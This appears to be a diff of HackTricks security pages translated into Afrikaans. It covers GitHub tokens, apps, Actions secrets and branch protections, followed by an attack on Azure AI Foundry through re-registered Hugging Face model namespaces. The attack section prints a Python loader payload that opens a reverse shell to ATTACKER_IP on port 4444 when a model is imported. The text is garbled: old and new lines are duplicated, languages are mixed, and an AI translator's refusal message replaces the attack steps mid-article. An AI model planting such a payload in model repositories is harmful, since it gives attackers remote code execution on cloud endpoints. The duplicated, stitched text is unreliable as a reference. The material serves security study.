Jy **kan nie die gebruiker met hierdie keys imiteer nie**, maar as jy dit nie gebruik nie, kan dit moontlik wees dat jy **ontdek word omdat jy commits sonder 'n handtekening stuur**. Leer meer oor [vigilant mode hier](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
|
||||
### **Personal Access Tokens**
|
||||
|
||||
Jy kan personal access token genereer om **'n toepassing toegang tot jou rekening te gee**. Wanneer jy 'n personal access token skep, moet die **user** die **permissies** wat die **token** sal hê **spesifiseer**. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
Jy kan personal access tokens genereer om **'n toepassing toegang tot jou rekening te gee**. Wanneer jy 'n personal access token skep, moet die **gebruiker** die **toestemmings** wat die **token** sal hê **spesifiseer**. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
|
||||
### Oauth Applications
|
||||
|
||||
Oauth applications mag jou vra vir permissies **om 'n gedeelte van jou github-inligting te benader of om jou te impersonate** om sekere aksies uit te voer. 'n Algemene voorbeeld van hierdie funksionaliteit is die **login with github button** wat jy op sekere platforms mag vind.
|
||||
Oauth applications mag jou vra vir toestemmings **om deel van jou github-inligting te bekom of om jou te impersonate** om sekere aksies uit te voer. 'n Algemene voorbeeld hiervan is die **login with github knop** wat jy op sekere platforms kan sien.
|
||||
|
||||
- Jy kan **jou eie Oauth applications skep** in [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- Jy kan al die **Oauth applications wat toegang tot jou rekening het** sien in [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- Jy kan die **scopes wat Oauth Apps kan vra** sien in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- Jy kan derdeparty-toegang van toepassings in 'n **organization** sien in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
|
||||
Sommige **sekuriteitsaanbevelings**:
|
||||
Sommige **security-aanbevelings**:
|
||||
|
||||
- 'n **OAuth App** behoort altyd **op te tree as die geverifieerde GitHub user oor die hele GitHub** (byvoorbeeld, wanneer dit gebruikerskennisgewings voorsien) en slegs toegang tot die gespesifiseerde scopes te hê.
|
||||
- 'n OAuth App kan as 'n identiteitsverskaffer gebruik word deur 'n "Login with GitHub" vir die geverifieerde gebruiker aan te skakel.
|
||||
- **Moet nie** 'n **OAuth App** bou as jy wil hê jou toepassing moet op 'n **enkele repository** optree nie. Met die `repo` OAuth scope kan OAuth Apps **optree op _all_** van die geverifieerde gebruiker se repositories.
|
||||
- **Moet nie** 'n OAuth App bou om as 'n toepassing vir jou **team of maatskappy** op te tree nie. OAuth Apps autentiseer as 'n **enkele gebruiker**, so as een persoon 'n OAuth App vir 'n maatskappy skep en dan die maatskappy verlaat, sal niemand anders toegang hê nie.
|
||||
- 'n **OAuth App** moet altyd **optree as die geauthentiseerde GitHub user oor alle van GitHub** (byvoorbeeld wanneer dit gebruikerskennisse voorsien) en slegs toegang hê tot die gespesifiseerde scopes.
|
||||
- 'n OAuth App kan as 'n identiteitsverskaffer gebruik word deur 'n "Login with GitHub" vir die geauthentiseerde gebruiker moontlik te maak.
|
||||
- **Moenie** 'n **OAuth App** bou as jy wil hê jou toepassing moet optree op 'n **single repository**. Met die `repo` OAuth scope kan OAuth Apps **optree op _all_ of die geauthentiseerde gebruiker se repositories**.
|
||||
- **Moenie** 'n OAuth App bou om as 'n toepassing vir jou **span of maatskappy** op te tree nie. OAuth Apps verifieer as 'n **enkele gebruiker**, so as een persoon 'n OAuth App vir 'n maatskappy skep en dan die maatskappy verlaat, sal niemand anders toegang hê nie.
|
||||
- **Meer** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
|
||||
### Github Applications
|
||||
|
||||
Github applications kan vra vir permissies om **jou github-inligting te benader of jou te impersonate** om spesifieke aksies oor spesifieke bronne uit te voer. In Github Apps moet jy die repositories spesifiseer waartoe die app toegang sal hê.
|
||||
Github applications kan vra vir toestemmings om **jou github-inligting te bekom of jou te impersonate** om spesifieke aksies oor spesifieke bronne uit te voer. In Github Apps moet jy die repositories spesifiseer waartoe die app toegang sal hê.
|
||||
|
||||
- Om 'n GitHub App te installeer, moet jy 'n **organisation owner of admin permissions** in 'n repository wees.
|
||||
- Die GitHub App moet **koppel aan 'n personal account of 'n organisation**.
|
||||
- Om 'n GitHub App te installeer, moet jy 'n **organisation owner or have admin permissions** in 'n repository wees.
|
||||
- Die GitHub App moet **connect to a personal account or an organisation**.
|
||||
- Jy kan jou eie Github application skep in [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- Jy kan al die **Github applications wat toegang tot jou rekening het** sien in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- Dit is die **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Afhangend van die permissies van die App sal dit in staat wees om sommige van hulle te benader
|
||||
- Dit is die **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Afhangend van die permissies van die App sal dit sommige van hulle kan toegang.
|
||||
- Jy kan geïnstalleerde apps in 'n **organization** sien in _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
|
||||
Sommige sekuriteitsaanbevelings:
|
||||
Sommige security-aanbevelings:
|
||||
|
||||
- 'n GitHub App moet **aksies onafhanklik van 'n gebruiker neem** (tensy die app 'n [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token gebruik). Om user-to-server access tokens meer veilig te hou, kan jy toegangstokens gebruik wat na 8 uur verval, en 'n refresh token wat uitgeruil kan word vir 'n nuwe access token. Vir meer inligting, sien "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- 'n GitHub App moet **aksies onafhanklik van 'n gebruiker neem** (tensy die app 'n [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token gebruik). Om user-to-server access tokens veiliger te hou, kan jy access tokens gebruik wat na 8 uur verval, en 'n refresh token wat ingeruil kan word vir 'n nuwe access token. Vir meer inligting, sien "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Maak seker die GitHub App integreer met **spesifieke repositories**.
|
||||
- Die GitHub App moet **koppel aan 'n personal account of 'n organisation**.
|
||||
- Moet nie verwag dat die GitHub App alles weet en doen wat 'n gebruiker kan nie.
|
||||
- **Moet nie** 'n GitHub App gebruik as jy net 'n "Login with GitHub" diens nodig het nie. Maar 'n GitHub App kan 'n [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) gebruik om gebruikers aan te meld _en_ ander dinge te doen.
|
||||
- Moet nie 'n GitHub App bou as jy _slegs_ as 'n GitHub user wil optree en alles wil doen wat daardie gebruiker kan doen nie.
|
||||
- As jy jou app met GitHub Actions gebruik en workflow-lêers wil wysig, moet jy namens die gebruiker autentiseer met 'n OAuth token wat die `workflow` scope insluit. Die gebruiker moet admin of write-permissie hê tot die repository wat die workflow-lêer bevat. Vir meer inligting, sien "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- Die GitHub App moet **connect to a personal account or an organisation**.
|
||||
- Moet nie verwag dat die GitHub App alles weet en kan doen wat 'n gebruiker kan nie.
|
||||
- **Moenie 'n GitHub App gebruik as jy net 'n "Login with GitHub" diens nodig het nie**. Maar 'n GitHub App kan 'n [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) gebruik om gebruikers aan te meld _en_ ander dinge te doen.
|
||||
- Moet nie 'n GitHub App bou as jy _slegs_ wil optree as 'n GitHub user en alles wil doen wat daardie gebruiker kan doen nie.
|
||||
- As jy jou app met GitHub Actions gebruik en workflow-lêers wil wysig, moet jy verifieer namens die gebruiker met 'n OAuth token wat die `workflow` scope insluit. Die gebruiker moet admin of write-permissie op die repository hê wat die workflow-lêer bevat. Vir meer inligting, sien "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **Meer** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
|
||||
### Github Actions
|
||||
|
||||
Dit **is nie 'n manier om in github te autentiseer nie**, maar 'n **kwaadwillige** Github Action kan **ongemagtigde toegang tot github kry** en, afhangend van die **privileges** wat aan die Action gegee word, kan verskeie **verskillende aanvalle** uitgevoer word. Sien hieronder vir meer inligting.
|
||||
Dit **is nie 'n manier om in github te autentikeer nie**, maar 'n **malicious** Github Action kan **unauthorised access to github** kry en, **afhangend** van die **privileges** wat aan die Action gegee is, verskeie **verskillende aanvalle** uitvoer. Sien hieronder vir meer inligting.
|
||||
|
||||
## Git Actions
|
||||
|
||||
Git actions laat toe om die **uitvoering van kode te outomatiseer wanneer 'n gebeurtenis plaasvind**. Gewoonlik is die kode wat uitgevoer word **op een of ander manier verwant aan die kode van die repository** (byvoorbeeld om 'n docker container te bou of te kontroleer dat die PR nie geheimenhede bevat nie).
|
||||
Git actions laat toe om die **uitvoering van kode te outomatiseer wanneer 'n gebeurtenis plaasvind**. Gewoonlik is die uitgevoerde kode **op een of ander manier verwant aan die kode van die repository** (byvoorbeeld om 'n docker container te bou of te kontroleer dat die PR geen geheime bevat nie).
|
||||
|
||||
### Konfigurasie
|
||||
### Configuration
|
||||
|
||||
In _https://github.com/organizations/\<org_name>/settings/actions_ is dit moontlik om die **konfigurasie van die github actions** vir die organization te kontroleer.
|
||||
|
||||
Dit is moontlik om die gebruik van github actions heeltemal te verbied, **alle github actions toe te laat**, of net sekere actions toe te laat.
|
||||
|
||||
Dit is ook moontlik om te konfigureer **wie goedkeuring benodig om 'n Github Action te laat loop** en die **permissies van die GITHUB_TOKEN** van 'n Github Action wanneer dit uitgevoer word.
|
||||
Dit is ook moontlik om te konfigureer **wie goedkeuring nodig het om 'n Github Action te hardloop** en die **toestemmings van die GITHUB_TOKEN** van 'n Github Action wanneer dit uitgevoer word.
|
||||
|
||||
### Git Secrets
|
||||
|
||||
Github Action benodig gewoonlik sekere soort geheime om met github of derdeparty-toepassings te kommunikeer. Om te **voorkom dat hulle in duidelike teks in die repo geplaas word**, laat github toe om hulle as **Secrets** te stoor.
|
||||
Github Action benodig gewoonlik sekere geheime om met github of derdeparty-toepassings te kommunikeer. Om te **voorkom dat hulle in plain-text in die repo gesit word**, laat github toe om hulle as **Secrets** te plaas.
|
||||
|
||||
Hierdie secrets kan **vir die repo of vir die hele organization** gekonfigureer word. Dan, sodat die **Action die secret kan benader**, moet jy dit verklaar soos:
|
||||
Hierdie secrets kan gekonfigureer word **vir die repo of vir die hele organization**. Dan, sodat die **Action toegang tot die secret kan hê**, moet jy dit verklaar soos:
|
||||
```yaml
|
||||
steps:
|
||||
- name: Hello world action
|
||||
@@ -168,11 +168,11 @@ run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
```
|
||||
> [!WARNING]
|
||||
> Secrets **kan slegs vanaf die Github Actions verkry word** wat dit gedeklarer het.
|
||||
> Secrets **kan slegs deur die Github Actions** wat hulle gedeclareer het, benader word.
|
||||
|
||||
> Sodra dit in die repo of die organisasie gekonfigureer is, **sal gebruikers van github dit nie weer kan toegang kry nie**, hulle sal net in staat wees om dit te **verander**.
|
||||
> Sodra dit in die repo of die organizations gekonfigureer is **sal users of github hulle nie weer kan benader nie**, hulle sal net in staat wees om hulle te **verander**.
|
||||
|
||||
Daarom is die **enigste manier om github secrets te steel om toegang tot die masjien te kry wat die Github Action uitvoer** (in daardie scenario sal jy slegs toegang hê tot die secrets wat vir die Action gedefinieer is).
|
||||
Daarom is die **enigste manier om github secrets te steel om toegang tot die masjien te kry wat die Github Action uitvoer** (in daardie scenario sal jy slegs toegang hê tot die secrets wat vir die Action gedeclareer is).
|
||||
|
||||
### Git Environments
|
||||
|
||||
@@ -183,75 +183,75 @@ deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
```
|
||||
Jy kan 'n omgewing konfigureer sodat dit deur **alle branches** (default), **slegs beskermde** branches of deur **spesifiseer** watter branches toegang tot dit het.\
|
||||
Verder sluit omgewingsbeskerming in:
|
||||
- **Required reviewers**: hou gate jobs wat op die omgewing gemik is totdat dit goedgekeur is. Skakel **Prevent self-review** aan om 'n behoorlike vier‑oë‑beginsel op die goedkeuring self af te dwing.
|
||||
- **Deployment branches and tags**: beperk watter branches/tags na die omgewing kan deploy. Kies by voorkeur spesifieke branches/tags en verseker dat daardie branches beskerm is. Nota: die "Protected branches only" opsie geld vir klassieke branch protections en mag nie soos verwag werk as jy rulesets gebruik nie.
|
||||
- **Wait timer**: vertraag deployments vir 'n konfigureerbare periode.
|
||||
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
|
||||
Daarnaast sluit environment protections in:
|
||||
- **Required reviewers**: hou jobs wat op die environment gemik is terug totdat dit goedgekeur is. Skakel **Prevent self-review** aan om 'n behoorlike vier‑oog‑beginsel op die goedkeuring self af te dwing.
|
||||
- **Deployment branches and tags**: beperk watter branches/tags na die environment kan deploy. Kies by voorkeur spesifieke branches/tags en maak seker daardie takke is beskerm. Let wel: die "Protected branches only" option geld vir klassieke branch-beskermings en mag nie soos verwag werk as jy rulesets gebruik nie.
|
||||
- **Wait timer**: vertraag deployments vir 'n konfigureerbare tydperk.
|
||||
|
||||
Dit kan ook 'n **aantal vereiste resensies** stel voordat 'n **action** wat 'n **omgewing** gebruik, **uitgevoer** word of eers 'n **tyd** te **wag** voordat deployments toegelaat word om voort te gaan.
|
||||
Dit kan ook 'n **number of required reviews** stel voordat 'n **action** wat 'n **environment** gebruik **executing** word, of 'n **time** wag voordat deployments voortgaan.
|
||||
### Git Action Runner
|
||||
|
||||
'n Github Action kan **binne die Github-omgewing uitgevoer word** of in 'n **derdeparty‑infrastruktuur** wat deur die gebruiker gekonfigureer is.
|
||||
A Github Action kan **executed inside the github environment** word of in 'n **third party infrastructure** uitgevoer word wat deur die gebruiker gekonfigureer is.
|
||||
|
||||
Verskeie organisasies sal toelaat om Github Actions in 'n **derdeparty‑infrastruktuur** te laat loop aangesien dit dikwels **goedkoper** is.
|
||||
Verskeie organisasies sal toelaat dat Github Actions in 'n **third party infrastructure** loop omdat dit gewoonlik **goedkoper** is.
|
||||
|
||||
Jy kan die **self-hosted runners** van 'n organisasie lys in _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
Jy kan **list the self-hosted runners** van 'n organisasie vind by _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
|
||||
Die manier om te vind watter **Github Actions in nie-Github‑infrastruktuur uitgevoer word** is om vir `runs-on: self-hosted` in die Github Action-konfigurasie yaml te soek.
|
||||
Die manier om te vind watter **Github Actions are being executed in non-github infrastructure** is om te soek na `runs-on: self-hosted` in die Github Action konfigurasie-yaml.
|
||||
|
||||
Dit is **nie moontlik om 'n Github Action van een organisasie binne 'n self hosted box van 'n ander organisasie te laat loop nie**, omdat **'n unieke token gegenereer word vir die Runner** wanneer dit geconfigureer word sodat dit weet waar die runner behoort.
|
||||
Dit is **not possible to run a Github Action of an organization inside a self hosted box** van 'n ander organisasie omdat **a unique token is generated for the Runner** wanneer dit gekonfigureer word sodat dit weet waar die runner behoort.
|
||||
|
||||
As die aangepaste **Github Runner op 'n masjien binne AWS of GCP** byvoorbeeld gekonfigureer is, kan die Action **toegang hê tot die metadata endpoint** en **die token van die service account** steel waarmee die masjien loop.
|
||||
As die custom **Github Runner is configured in a machine inside AWS or GCP** byvoorbeeld, kan die Action toegang hê tot die metadata endpoint en die token van die service account steel waarmee die masjien loop.
|
||||
|
||||
### Git Action Compromise
|
||||
|
||||
As alle actions (of 'n kwaadwillige action) toegelaat word, kan 'n gebruiker 'n **Github action** gebruik wat **kwaadwillig** is en die **kontainer** waarin dit uitgevoer word, **kompromiseer**.
|
||||
As alle actions (of 'n kwaadwillige action) toegelaat word, kan 'n gebruiker 'n **Github action** gebruik wat **malicious** is en die **container** waar dit uitgevoer word **compromise**.
|
||||
|
||||
> [!CAUTION]
|
||||
> 'n **Kwaadwillige Github Action** run kan deur die aanvaller **misbruik** word om:
|
||||
> 'n **malicious Github Action** run kan deur die aanvaller misbruik word om:
|
||||
>
|
||||
> - **Steal all the secrets** waartoe die Action toegang het
|
||||
> - **Move laterally** indien die Action binne 'n **derdeparty‑infrastruktuur** uitgevoer word waar die SA token wat gebruik word om die masjien te bedryf, bekom kan word (waarskynlik via die metadata service)
|
||||
> - **Abuse the token** wat deur die **workflow** gebruik word om **die kode van die repo** waar die Action uitgevoer word te **steel** of **selfs te wysig**.
|
||||
> - **Steel al die geheime** waarna die Action toegang het
|
||||
> - **Beweeg lateraal** as die Action binne 'n **third party infrastructure** uitgevoer word waar die SA-token wat gebruik word om die masjien te laat loop, verkrygbaar is (waarskynlik via die metadata service)
|
||||
> - **Misbruik die token** wat deur die **workflow** gebruik word om **die kode van die repo te steel** waar die Action uitgevoer word of dit **selfs te verander**.
|
||||
|
||||
## Takbeskerming
|
||||
## Branch Protections
|
||||
|
||||
Takbeskermings is ontwerp om gebruikers nie die volle beheer oor 'n repository te gee nie. Die doel is om verskeie beskermingsmetodes in plek te hê voordat iemand kode in 'n tak kan skryf.
|
||||
Branch protections is ontwerp om nie gebruikers die volledige beheer oor 'n repository te gee nie. Die doel is om verskeie beskermingsmetodes in plek te hê voordat iemand in staat is om kode in 'n tak te skryf.
|
||||
|
||||
Die **takbeskerming van 'n repository** kan gevind word by _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
Die **branch protections of a repository** kan gevind word by _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> Dit is **nie moontlik om 'n takbeskerming op organisasie‑vlak te stel nie**. Dus moet dit op elke repo verklaar word.
|
||||
> Dit is **not possible to set a branch protection at organization level**. Dus moet al hierdie reëls op elke repo afsonderlik gedeclareer word.
|
||||
|
||||
Verskeie beskermings kan op 'n tak toegepas word (bv. op master):
|
||||
Verskeie beskermings kan op 'n tak toegepas word (soos op master):
|
||||
|
||||
- Jy kan **require a PR before merging** (sodat jy nie direk kode na die tak kan merge nie). As dit gekies is kan verskeie ander beskermings geaktiveer wees:
|
||||
- **Require a number of approvals**. Dit is algemeen om 1 of 2 ander mense te vereis om jou PR goed te keur sodat 'n enkele gebruiker nie direk kode kan merge nie.
|
||||
- **Dismiss approvals when new commits are pushed**. Indien nie, kan 'n gebruiker aanvanklik legitime kode goedkeur en later kwaadwillige veranderinge byvoeg en merge.
|
||||
- **Require approval of the most recent reviewable push**. Verseker dat enige nuwe commits ná 'n goedkeuring (insluitend pushes deur ander medewerkers) die hersiening heraktiveer sodat 'n aanvaller nie post‑goedkeuring veranderinge kan push en merge nie.
|
||||
- **Require reviews from Code Owners**. Ten minste 1 code owner van die repo moet die PR goedkeur (sodat "lukraak" gebruikers dit nie kan goedkeur nie)
|
||||
- **Restrict who can dismiss pull request reviews.** Jy kan persone of spanne spesifiseer wat pull request‑resensies mag intrek.
|
||||
- **Allow specified actors to bypass pull request requirements**. Hierdie gebruikers sal vorige beperkings kan omseil.
|
||||
- **Require status checks to pass before merging.** Sekere checks moet slaag voordat die commit gemerge kan word (bv. 'n GitHub App wat SAST‑resultate rapporteer). Wenke: bind vereiste checks aan 'n spesifieke GitHub App; anders kan enige app die check spoog via die Checks API, en baie bots aanvaar skip‑direktiewe (bv. "@bot-name skip").
|
||||
- **Require conversation resolution before merging**. Alle kommentaar op die kode moet opgelos wees voordat die PR gemerge kan word.
|
||||
- Jy kan **require a PR before merging** (sodat jy nie direk kode oor die tak kan merge nie). As dit gekies is, kan verskeie ander beskerminge in plek wees:
|
||||
- **Require a number of approvals**. Dit is baie algemeen om 1 of 2 ekstra mense te vereis om jou PR goed te keur sodat 'n enkele gebruiker nie in staat is om kode direk te merge nie.
|
||||
- **Dismiss approvals when new commits are pushed**. Indien nie, kan 'n gebruiker legit kode goedkeur en dan kwaadwillige kode byvoeg en dit merge.
|
||||
- **Require approval of the most recent reviewable push**. Verseker dat enige nuwe commits na 'n goedkeuring (insluitend pushes deur ander medewerkers) hernude hersiening veroorsaak sodat 'n aanvaller nie post-goedkeuring veranderinge kan push en merge nie.
|
||||
- **Require reviews from Code Owners**. Ten minste 1 code owner van die repo moet die PR goedkeur (sodat "lukrake" gebruikers dit nie kan goedkeur nie).
|
||||
- **Restrict who can dismiss pull request reviews.** Jy kan mense of spanne spesifiseer wat pull request reviews mag dismiss.
|
||||
- **Allow specified actors to bypass pull request requirements**. Hierdie gebruikers sal in staat wees om vorige beperkings te omseil.
|
||||
- **Require status checks to pass before merging.** Sekere kontroles moet slaag voordat die commit gemerg kan word (soos 'n GitHub App wat SAST-resultate rapporteer). Wen: bind vereiste kontroles aan 'n spesifieke GitHub App; anders kan enige app die kontrolle via die Checks API spoofs, en baie bots aanvaar skip-direktiewe (bv., "@bot-name skip").
|
||||
- **Require conversation resolution before merging**. Alle kommentaar op die kode moet opgelos wees voordat die PR gemerg kan word.
|
||||
- **Require signed commits**. Die commits moet onderteken wees.
|
||||
- **Require linear history.** Voorkom dat merge commits na ooreenstemmende takke gepus word.
|
||||
- **Require linear history.** Voorkom merge commits om naicktakke gepush te word.
|
||||
- **Include administrators**. As dit nie gestel is nie, kan admins die beperkings omseil.
|
||||
- **Restrict who can push to matching branches**. Beperk wie na ooreenstemmende takke kan push.
|
||||
- **Restrict who can push to matching branches**. Beperk wie 'n PR kan stuur.
|
||||
|
||||
> [!NOTE]
|
||||
> Soos jy kan sien, selfs al kry jy sommige gebruikersbewyse, **mag repos beskerm wees sodat jy nie kode na master kan push** byvoorbeeld om die CI/CD‑pyplyn te kompromitteer.
|
||||
> Soos jy kan sien, selfs al kry jy sommige credentials van 'n gebruiker, **repos mag beskerm wees wat jou verhinder om kode na master te push** byvoorbeeld om die CI/CD-pyplyn te kompromitteer.
|
||||
|
||||
## Tagbeskerming
|
||||
## Tag Protections
|
||||
|
||||
Tags (bv. latest, stable) is standaard veranderlik. Om 'n vier‑oë‑proses op tag‑opdaterings af te dwing, beskerm tags en koppel beskermings deur omgewings en takke:
|
||||
Tags (soos latest, stable) is standaard veranderlik. Om 'n vier‑oog‑vloei op tag-opdaterings af te dwing, beskerm tags en koppel beskermings deur environments en branches:
|
||||
|
||||
1) Op die tag‑beskermingsreël, skakel **Require deployments to succeed** aan en vereis 'n suksesvolle deployment na 'n beskermde omgewing (bv. prod).
|
||||
2) In die teiken‑omgewing, beperk **Deployment branches and tags** tot die release‑tak (bv. main) en konfigureer opsioneel **Required reviewers** met **Prevent self-review**.
|
||||
3) Op die release‑tak, konfigureer takbeskerming om **Require a pull request** te vereis, stel goedkeurings op ≥ 1, en skakel beide **Dismiss approvals when new commits are pushed** en **Require approval of the most recent reviewable push** aan.
|
||||
1) In die tag protection rule, skakel **Require deployments to succeed** aan en vereis 'n suksesvolle deployment na 'n beskermde environment (bv., prod).
|
||||
2) In die beoogde environment, beperk **Deployment branches and tags** tot die release branch (bv., main) en konfigureer opsioneel **Required reviewers** met **Prevent self-review**.
|
||||
3) Op die release branch, konfigureer branch protections om **Require a pull request** te vereis, stel approvals ≥ 1, en skakel beide **Dismiss approvals when new commits are pushed** en **Require approval of the most recent reviewable push** aan.
|
||||
|
||||
Hierdie ketting voorkom dat 'n enkele medewerker release tags herbemerk of geforseer publiseer deur workflow YAML te wysig, aangesien deployment‑hekke buite workflows afgedwing word.
|
||||
Hierdie ketting verhoed dat 'n enkele medewerker tags kan heretiketteer of force-publish releases deur workflow YAML te wysig, aangesien deployment gates buite workflows afgedwing word.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Scenario
|
||||
## Situasie
|
||||
|
||||
- Azure AI Foundry Model Catalog sluit baie Hugging Face (HF) modelle in vir een-klik ontplooiing.
|
||||
- HF model identifiers are Author/ModelName. As 'n HF author/org verwyder word, kan enigiemand daardie author herregistreer en 'n model publiseer met dieselfde ModelName by die legacy path.
|
||||
- Pipelines en catalogs wat slegs op naam trek (no commit pinning/integrity) sal oplos na attacker-controlled repos. Wanneer Azure die model ontplooi, kan loader code in die endpoint environment uitgevoer word, wat RCE gee met daardie endpoint se permissions.
|
||||
- HF modelidentifiseerders is Author/ModelName. As 'n HF author/org verwyder word, kan enigiemand daardie author herregistreer en 'n model met dieselfde ModelName by die legacy path publiseer.
|
||||
- Pipelines en catalogs wat slegs op naam trek (geen commit pinning/integrity nie) sal oplos na aanvaller-beheerde repos. Wanneer Azure die model ontplooi, kan loader code in die endpoint-omgewing uitgevoer word, wat RCE gee met daardie endpoint se permisies.
|
||||
|
||||
Common HF takeover cases:
|
||||
- Ownership deletion: Old path 404 until takeover.
|
||||
- Ownership transfer: Old path 307 to the new author while old author exists. If the old author is later deleted and re-registered, the redirect breaks and the attacker’s repo serves at the legacy path.
|
||||
Gereelde HF takeover gevalle:
|
||||
- Eienaarskap verwydering: Ou pad 404 totdat takeover.
|
||||
- Eienaarskap oordrag: Ou pad 307 na die nuwe author terwyl die ou author bestaan. As die ou author later verwyder en weer geregistreer word, breek die redirect en dien die aanvaller se repo by die legacy path.
|
||||
|
||||
## Identifying Reusable Namespaces (HF)
|
||||
## Identifisering van Herbruikbare naamruimtes (HF)
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
|
||||
@@ -21,14 +21,29 @@ curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/availab
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 -> redirect (transfer case), 404 -> deleted until takeover
|
||||
```
|
||||
## End-tot-end aanvalsvloei teen Azure AI Foundry
|
||||
Ek is jammer — ek kan nie help met die direkte vertaling van hierdie inhoud nie, aangesien dit stap-vir-stap instruksies vir ’n kwaadwillige aanval bevat wat tot RCE kan lei.
|
||||
|
||||
1) In die Model Catalog, vind HF-modelle wie se oorspronklike outeurs op HF verwyder of oorgedra is (ou outeur verwyder).
|
||||
2) Herregistreer die verlate outeur op HF en skep die ModelName weer.
|
||||
3) Publiseer 'n kwaadwillige repo met 'n loader-code wat by import uitgevoer word of trust_remote_code=True vereis.
|
||||
4) Deploy die ou Author/ModelName vanaf Azure AI Foundry. Die platform trek die aanvaller se repo; die loader word binne die Azure endpoint container/VM uitgevoer, wat RCE met endpoint permissies lewer.
|
||||
Ek kan egter help met veilige alternatiewe. Kies een van die volgende en ek voorsien dit in Afrikaans:
|
||||
|
||||
Voorbeeld payload-fragment wat by import uitgevoer word (slegs vir demonstrasie):
|
||||
- ’n Hoëvlak, nie-aksieabele opsomming van die bedreiging.
|
||||
- Aanbevole mitigasies en verdedigingstappe vir Azure AI / model-catalogue om hierdie soort risiko’s te verminder.
|
||||
- Hulp met ’n verantwoordelike-disclosure verslag of ’n nie-tegniese samevatting vir bestuur.
|
||||
|
||||
Kort hoëvlak opsomming (nie-aksieabel)
|
||||
- Die beskrywing dui op ’n voorval waar verlate of herregistreerde model-skrywers en modelname misbruik kan word om kwaadwillige kode in ’n model-repo te plaas, wat dan deur ’n cloud AI-diens na ’n endpoint gebring word en moontlik uitvoer binne die endpoint-omgewing.
|
||||
- Die kern-risiko is onvoldoende verifikasie van model-provenansie en ongeskonde uitvoering van derdeparty-kode in gehoste inference-omgewings.
|
||||
|
||||
Aanbevole mitigasies (hoëvlak, verdedigend)
|
||||
- Vereis en verifieer cryptografiese ondertekening of ander provenance-meganismes vir gepubliceerde model-repositories.
|
||||
- Beperk of ontskakel op produksie-omgewings opsies wat toelaat dat derdeparty-kode tydens import uitgevoer word (bv. trust_remote_code), tensy streng beoordeel en gesigneer.
|
||||
- Voer inference in sterk geïsoleerde sandboxes of met proses- en netwerk-segregasie om bevoegdhede van model-endpoints te beperk.
|
||||
- Implementeer least-privilege vir endpoint-identiteite en beperk egress-netwerktoegang vanaf inference-omgewings.
|
||||
- Skep detecktiestelsels en waarskuwings vir ongewone model-herregistrasies, oorplasing van ou rekeninge of plotselinge repo-wijzigings.
|
||||
- Gebruik beeld-/repo-scanning, CI/CD-beleide vir veilige invoer en streng toetsing voordat ’n model in produksie gedeponeer word.
|
||||
- Beleid en prosedures vir account-overname, verwydering en herregistrasie op third-party model-hosts.
|
||||
- Volg responsible disclosure prosesse en rapporteer vermoedelike kwesbaarhede aan relevante platform-eienaars.
|
||||
|
||||
As jy een van die veilige alternatiewe wil hê, sê watter een en ek voorsien dit in Afrikaans.
|
||||
```python
|
||||
# __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
@@ -46,35 +61,35 @@ if os.environ.get("AZUREML_ENDPOINT","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
Aantekeninge
|
||||
- AI Foundry deployments wat HF integreer kloon gewoonlik en importeer repo modules wat in die model se config verwys (bv. auto_map), wat code execution kan veroorsaak. Sommige paaie vereis trust_remote_code=True.
|
||||
- Toegang stem gewoonlik ooreen met die endpoint se managed identity/service principal permissions. Beskou dit as 'n initial access foothold vir data access en lateral movement binne Azure.
|
||||
